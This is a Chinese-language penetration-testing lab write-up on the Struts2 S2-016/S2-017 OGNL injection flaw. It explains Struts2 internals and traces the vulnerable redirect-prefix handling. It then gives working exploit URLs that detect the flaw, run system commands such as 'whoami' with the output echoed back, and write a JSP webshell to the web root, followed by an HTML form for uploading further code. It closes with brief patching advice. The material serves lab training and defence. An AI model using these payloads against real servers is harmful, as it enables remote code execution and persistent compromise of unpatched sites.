攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试

 


#前文#

通过该实验了解java开发流行框架struts2安全缺陷形成的原因,
掌握基本的漏洞利用及使用方法,
并能够通过代码审计给出加固方案。


#基础知识#
  1. 了解Struts2
    Struts是Apache软件基金会赞助的一个Java开源项目,
    通过采用JavaServlet/JSP技术,
    实现了基于Java EE Web应用的MVC设计模式的应用框架,
    是MVC经典设计模式中的一个经典产品,也是国际上应用最广泛的web应用框架之一。

    本次实验为了学习效果,使用了一个版本相对较低的2.1.8版本。

  2. Struts2初始
    为了让大家回顾或者学习一下struts2,
    我们一起来建立一个action、jsp页面,
    做一个接收用户输入,之后处理一下,再展示出来给用户的过程,精通struts2的同学可以跳过此步。

    首先建立action,叫做AaaaAction:

   public class AaaaAction extends ActionSupport{

      private String name;

      public String getName() {

          return name;

          }

      public void setName(String name) {

         this.name = name;

          }

       public String execute(){

      System.out.println("exe");

        return SUCCESS;

          }

       public String bbb(){

      System.out.println("bbbbb");

        return SUCCESS;

          }

          }

  请注意execute这个方法,让用户输入action的地址后,默认会访问这个方法。

  之后配置struts.xml文件
  <action name="aaaaaaa" class="net.inbreak.AaaaAction">

      <result name="success">user/aaa.jsp</result>

      </action>

  配置这个文件后,
  当用户输入 http://www.inbreak.net/app/aaaaaaa.action的时候,
  struts会负责让AaaaAction中的execute方法处理用户请求。

  处理之后,该方法返回“return SUCCESS;”,
  struts又负责找到result的name是seccuess所指向的jsp页面。
  把该页面解析后,返回给用户。

  而用户看到的就是aaa.jsp页面的html代码。

  struts2继承了webwork的所有优点,
  其实等于是webwork的升级,
  如果开发人员想让用户直接访问action中的某方法,而不是访问默认的execute方法,
  只要定义一个方法叫做bbb,
  并且是public的,用户就可以直接输入

  http://www.inbreak.net/app/aaaaaaa!bbb.action直接访问了bbb方法。

  那request中的参数如果接收呢?
  struts2中,这个过程被包装了起来,使用非常方便,只要在action中定义一个属性,
  叫做public String name;。
  然后加入getName和setName方法,就可以像正常使用属性一样,接收到用户传递过来的变量。
  无论是get请求还是post请求,都可以使用这种方式接收用户输入。

  如果同学们对该框架想了解更多,请自行google去了解,在此不再赘述。
  1. Struts2内部流程
    大致的处理流程:
    攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_02
    内部处理细节:

    1. 客户端发送请求的tomcat服务器。服务器接受,将HttpServletRequest传进来。

    2. 请求经过一系列过滤器(如:ActionContextCleanUp、SimeMesh等)

    3. FilterDispatcher被调用。FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action

    4. ActionMapper决定调用某个ActionFilterDispatcher把请求交给ActionProxy

    5. ActionProxy通过Configuration Manager查看struts.xml,从而找到相应的Action类

    6. ActionProxy创建一个ActionInvocation对象

    7. ActionInvocation对象回调Action的execute方法

    8. Action执行完毕后,ActionInvocation根据返回的字符串,找到对应的result。然后将Result内容通过 HttpServletResponse返回给服务器。

    Struts2请求处理流程分析:
    攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_03
    1、服务器启动的时候会自动去加载当前项目的web.xml

    2、在加载web.xml配置的时候会去自动初始化Struts2的Filter,
    然后把所有的请求先交于Struts的org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java类去做过滤处理。

    3、而这个类只是一个普通的Filter方法通过调用Struts的各个配置去初始化。

    4、初始化完成后一旦有action请求都会经过StrutsPrepareAndExecuteFilter的doFilter过滤。

    5、doFilter中的ActionMapping去映射对应的Action。

    6、ExecuteOperations


  1. Struts2中ActionContext、ValueStack、Ognl
    1)ActionContext对象:

    Struts2的Action不用依赖于web容器,本身只是一个普通的java类而已。
    但是在web开发中我们往往需要获得request、session、application等对象。
    这时候,可以通过ActionContext来处理。

    ActionContext正如其名,是Action执行的上下文。
    他内部有个map属性,它存放了Action执行时需要用到的对象。

    在每次执行Action之前都会创建新的ActionContext对象,
    通过ActionContext获取的session、request、application
    并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,
    而是将这三个对象里面的值重新包装成了map对象。
    这样的封装,我们及获取了我们需要的值,同时避免了跟Web容器直接打交道,实现了完全的解耦。

    测试代码:

  public class TestActionContextAction extends ActionSupport{

          private String uname;

          public String execute() throws Exception {

          ActionContext ac = ActionContext.getContext();

          System.out.println(ac);    //在此处定义断点

          return this.SUCCESS;

          }

        //get和set方法省略!

         }
  我们设置断点,debug进去,跟踪ac对象的值。
  发现他有个table属性,该属性内部包含一个map属性,该map中又有多个map属性,
  他们分别是:request、session、application、action、attr、parameters等。

  同时,我们跟踪request进去,发现属性attribute又是一个table,
  再进去发现一个名字叫做”struts.valueStack”属性。内容如下:

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_04
OgnlValueStack可以简单看做List,里面还放了Action对象的引用,
通过它可以得到该Action对象的引用。
下图说明了几个对象的关系:
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_05

ActionContext、Action本身和HttpServletRequest对象没有关系。
但是为了能够使用EL表达式、JSTL直接操作他们的属性。
会有一个拦截器将ActionContext、Action中的属性
通过类似request.setAttribute()方法置入request中(webwork2.1之前的做法)。
这样,我们也可以通过:${requestScope.uname}即可访问到ActionContext和Action中的属性。

  注:struts2后,使用装饰器模式来实现上述功能。

  Action的实例,总是放到value stack中。
  因为Action放在stack中,而stack是root(根对象),所以对Action中的属性的访问就可以省略#标记。

  获取Web容器信息:

  在上面我GETSHELL或者是输出回显的时候就必须获取到容器中的请求和响应对象。
  而在Struts2中通过ActionContext可以获得session、request、application,
  但他们并不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象,
  而是将这三个对象里面的值重新包装成了map对象。 Struts框架通过他们来和真正的web容器对象交互。

  获得session:ac.getSession().put("s", "ss");

  获得request:Map m = ac.get("request");

  获得application:ac.getApplication();

  获取HttpServletRequest、HttpServletResponse、ServletContext:

  有时,我们需要真正的HttpServletRequest、HttpServletResponse、ServletContext对象,怎么办? 
  我们可以通过ServletActionContext类来得到相关对象,代码如下:

  HttpServletRequestreq = ServletActionContext.*getRequest*();

  ServletActionContext.*getRequest*().getSession();

  ServletActionContext.*getServletContext*();

2)Struts2 OGNL:

  OGNL是Object-Graph Navigation Language的缩写,
  它是一种功能强大的表达式语言(Expression Language,简称为EL),
  通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,
  实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

OGNL三要素:

  1. 表达式(Expression)

  表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。
  表达式会规定此次OGNL操作到底要干什么。
  我们可以看到,在上面的测试中,
  name、department.name等都是表达式,
  表示取name或者department中的name的值。OGNL支持很多类型的表达式,之后我们会看到更多。

  2. 根对象(Root Object)

  根对象可以理解为OGNL的操作对象。
  在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
  在上面的测试代码中,user就是根对象。
  这就意味着,
  我们需要对user这个对象去取name这个属性的值(对user这个对象去设置其中的department中的name属性值)。

  3. 上下文环境(Context)

  有了表达式和根对象,我们实际上已经可以使用OGNL的基本功能。
  例如,根据表达式对根对象进行取值或者设值工作。
  不过实际上,在OGNL的内部,所有的操作都会在一个特定的环境中运行,
  这个环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),
  将规定OGNL的操作“在哪里干”。
   OGN L的上下文环境是一个Map结构,称之为OgnlContext。
   上面我们提到的根对象(Root Object),事实上也会被加入到上下文环境中去,
   并且这将作为一个特殊的变量进行处理,
   具体就表现为针对根对象(Root Object)的存取操作的表达式是不需要增加#符号进行区分的。

  Struts 2中的OGNL Context实现者为ActionContext,它结构示意图如下:

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_06
当Struts2接受一个请求时,
会迅速创建ActionContext,ValueStack,action 。
然后把action存放进ValueStack,所以action的实例变量可以被OGNL访问。

  Struts2采纳了XWork的一套完美方案
  (Xwork提供了很多核心功能:
  前端拦截机(interceptor),运行时表单属性验证,类型转换,
  强大的表达式语言(OGNL – the Object Graph Navigation Language),
  IoC(Inversion of Control反转控制)容器等)。
  并在此基础上构建一套所谓完美的机制,OGNL方案和OGNLValueStack机制。

  View层到Controller层自动转储;然后是Controller层到View层,我们可以使用简易的表达式取对象数据显示到页面,
  如: ${对象.属性},节省不少代码时间且使用方便.而它的存储结构就是一棵对象,
  这里我们可以把对象树当成一个java对象寄存器,可以方便添加、访问对象等。
  但是OGNL的这些功能或机制是危险的.




  我们列举一下表达式功能操作清单:

  1. 基本对象树的访问

  对象树的访问就是通过使用点号将对象的引用串联起来进行。

  例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx

  2. 对容器变量的访问

  对容器变量的访问,通过#符号加上表达式进行。

  例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx

  3. 使用操作符号

  OGNL表达式中能使用的操作符基本跟Java里的操作符一样,
  除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。

  4. 容器、数组、对象

  OGNL支持对数组和ArrayList等容器的顺序访问:
  例如:group.users[0]

  同时,OGNL支持对Map的按键值查找:

  例如:#session['mySessionPropKey']

  不仅如此,OGNL还支持容器的构造的表达式:

  例如:{"green", "red", "blue"}构造一个List,
  #{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map

  你也可以通过任意类对象的构造函数进行对象新建:

  例如:new Java.net.URL("xxxxxx/")

  5. 对静态方法或变量的访问

  要引用类的静态方法和字段,他们的表达方式是一样的
  @class@member或者@class@method(args):

  例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources

  6. 方法调用

  直接通过类似Java的方法调用方式进行,你甚至可以传递参数:

  例如:user.getName(),group.users.size(),group.containsUser(#requestUser)

  7. 投影和选择

  OGNL支持类似数据库中的投影(projection)和选择(selection)。

  投影就是选出集合中每个元素的相同属性组成新的集合,
  类似于关系数据库的字段操作。
  投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。

  例如:group.userList.{username}将获得某个group中的所有user的name的列表。

  选择就是过滤满足selection 条件的集合元素,
  类似于关系数据库的纪录操作。
  选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,
  后面则是选择用的逻辑表达式。
  而选择操作符有三种:

  ? 选择满足条件的所有元素

  ^ 选择满足条件的第一个元素

  $ 选择满足条件的最后一个元素

  例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

#实验内容和步骤#

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_07
服务器:centos6.3,IP地址:10.1.1.4

测试者:win7,IP地址随机,可自己查看,在本例中为10.1.1.207

测试网站:http://10.1.1.4:8080

1.Struts2 s2-016/017漏洞分析
在struts2中,
DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,
但是这些前缀后面同时可以跟OGNL表达式,
由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

  这里以“redirect:”前缀举例,
  struts2会将“redirect:”前缀后面的内容设置到redirect.location当中,
  这里我们一步步跟踪,首先是这个getMapping函数跟入:

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_08
这里一直到这个handleSpecialParameters(),继续跟入:
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_09
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_10
这里真正传入OGNL表达式是在这个parameterAction.execute()中,
继续跟入来到DefaultActionMapper.java的代码。
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_11
这里key.substring(REDIRECT_PREFIX.length())便是前缀后面的内容也就是OGNL表达式,
struts2会调用setLocation方法将他设置到redirect.location中。
然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里,
如图所示:
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_12
然而上面的过程只是传递OGNL表达式,真正执行是在后面,
这里是在FilterDispatcher类中的dispatcher.serviceAction()方法,
这里的mapping对象中设置了传入的OGNL。
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_13

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL。
攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_14

我们构造一个调用本地计算器的PoC:

http://10.1.1.4:8080/trainin/EN_index.action?
redirect:$
{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'calc'})).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew%20java.io.InputStreamReader(%23b),
%23d%3dnew%20java.io.BufferedReader(%23c),
%23e%3dnew%20char[50000],
%23d.read(%23e),
%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
%23matt.getWriter()}

在浏览器中输入上述URL,漏洞重现:

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_15

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_16

判断一个使用了struts2框架的网站是否存在漏洞

  任务描述:依据上述漏洞分析及给出的poc,并参照官方文档

  http://struts.apache.org/release/2.3.x/docs/s2-017.html

  http://struts.apache.org/release/2.3.x/docs/s2-016.html

提示一:

  官方的poc:

  http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

  http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23

  请输入你所构造的POC:

  http://10.1.1.145/struts2/training/EN_index.action?redirect:http://www.baidu.com

  (redirect:后面的网址可以任意替换)

提示二:

  ServletActionContext能够拿到真正的HttpServletRequest、HttpServletResponse、ServletContext。
  拿到一个HttpServletResponse响应对象后就可以调用getWriter方法
  (返回的是PrintWriter)让Servlet容器上输出[/ok]了,
  而其他的POC也都做了同样的事:拿到HttpServletResponse,然后输出[/ok]。

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_17
请输入你所构造的POC:

      http://10.1.1.145/struts2/training/EN_index.action?
      redirect:$
      {%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
       %23w.println('[/ok]'),%23w.flush(),%23w.close()}

([/ok]可以为任意内容,能输出即可)

提示三:

  延迟判断:先让线程sleep一段时间,再去计算时间差来判断漏洞是否存在。

  请输入你所构造的POC:

  http://10.1.1.145/struts2/training/EN_index.action?redirect:${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}.action

(依据是否使用了sleep方法来评判)


在存在漏洞的网站上执行系统命令

  任务描述:依据漏洞分析及给出的poc构造一个能执行系统命令的POC。

  提示:在漏洞分析给出的POC 基础上改动某个部分即可,请仔细思考。

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_18

请输入你所构造的POC:

   http://10.1.1.145/struts2/download/EN_productdownload.action?
   redirect:$
   {%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),
   %23b%3d%23a.getInputStream(),
   %23c%3dnew%20java.io.InputStreamReader(%23b),
   %23d%3dnew%20java.io.BufferedReader(%23c),
   %23e%3dnew%20char[50000],%23d.read(%23e),
   %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
   %23matt.getWriter().println(%23e),
   %23matt.getWriter().flush(),%23matt.getWriter().close()}

  ('netstat','-an'这里可以为其他系统命令)

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_19攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_20


依据漏洞分析及给出的poc构造一个GETSHELL POC

  提示:文件写入

  请输入你所构造的POC:
      http://10.1.1.145/struts2/download/EN_productdownload.action?redirect:$
      {%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
      %23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll("\\", "/"),
      new+java.io.BufferedWriter(new+java.io.FileWriter(%23p))
      .append(%23req.getParameter(%22c%22))
      .close()}&c=%3c%25if(request
      .getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application
      .getRealPath(%22%2f%22)%2brequest
      .getParameter(%22f%22)))
      .write(request.getParameter(%22t%22).getBytes())%3b%25%3e

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_21
在网站根目录下写入一句话css3.jsp

  将以下代码保存为html,提交code后获得shell

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_22

<form action="http://10.1.1.59/struts2/css3.jsp?f=css1.jsp" method="post">

      <textarea name=t cols=120 rows=10 width=45>code</textarea><BR><center><br>

      <input type=submit value="提交">

      </form>
  Shell地址:

  http://10.1.1.145/struts2/css1.jsp

攻防技术——Struts2(S2-016/17)漏洞实验_渗透测试_23


依据你对漏洞的分析,对该网站进行加固并验证漏洞是否再现

加固:

更新最新Struts2 lib包即可

更新文件清单:Commons-* 、Stuts2-* 、 Xwork-core-* 、Ognl-*

加固后的验证结果:

使用之前漏洞判断的POC验证即可。